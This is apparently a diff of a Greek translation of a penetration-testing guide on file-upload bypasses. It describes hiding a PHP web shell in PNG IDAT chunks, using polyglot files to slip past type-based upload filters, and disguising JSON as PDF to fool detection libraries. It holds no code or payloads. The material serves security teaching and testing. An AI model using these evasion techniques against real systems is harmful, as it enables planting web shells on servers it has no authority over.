σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις. +Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις. -Μια λεπτομερής διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της. +Μια αναλυτική διερεύνηση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot files αποτελούν ένα μοναδικό εργαλείο στην ασφάλεια στον κυβερνοχώρο, λειτουργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. +Τα Polyglot Files λειτουργούν ως μοναδικό εργαλείο στην ασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν έγκυρα να υπάρχουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα υβρίδιο που λειτουργεί και ως GIF και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζεύγος· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. -Η βασική χρησιμότητα των polyglot files έγκειται στην ικανότητά τους να παρακάμπτουν μηχανισμούς ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνήθη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από δυνητικά επικίνδυνα formats (π.χ., JS, PHP ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προϋποθέσεις πολλαπλών τύπων αρχείων, μπορεί αθόρυβα να παρακάμψει αυτούς τους περιορισμούς. +Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν τα αρχεία βάσει τύπου. Κοινή πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο συγκεκριμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από ενδεχόμενα επικίνδυνα formats (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές απαιτήσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές. -Παρόλη την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να είναι PHAR file (PHp ARchive) και JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην είναι επαρκής για να εγγυηθεί το upload. +Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από τις πολιτικές επέκτασης αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) ### Upload valid JSONs like if it was PDF -Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμα και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON ακόμα κι αν δεν επιτρέπεται, μιμούμενοι ένα PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δείτε παράδειγμα στο post) -- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι pdf (δείτε παράδειγμα στο post) -- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να κάνει parse το περιεχόμενο ως json και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF +- **`mmmagic` library**: Εφόσον τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (βλέπε παράδειγμα από το post) +- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι είναι PDF (βλέπε παράδειγμα από το post) +- **`file` binary**: Μπορεί να διαβάσει έως 1048576 bytes από ένα αρχείο. Δημιουργήστε απλά ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να το αναλύσει ως JSON και στη συνέχεια μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF -## References +## Αναφορές - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)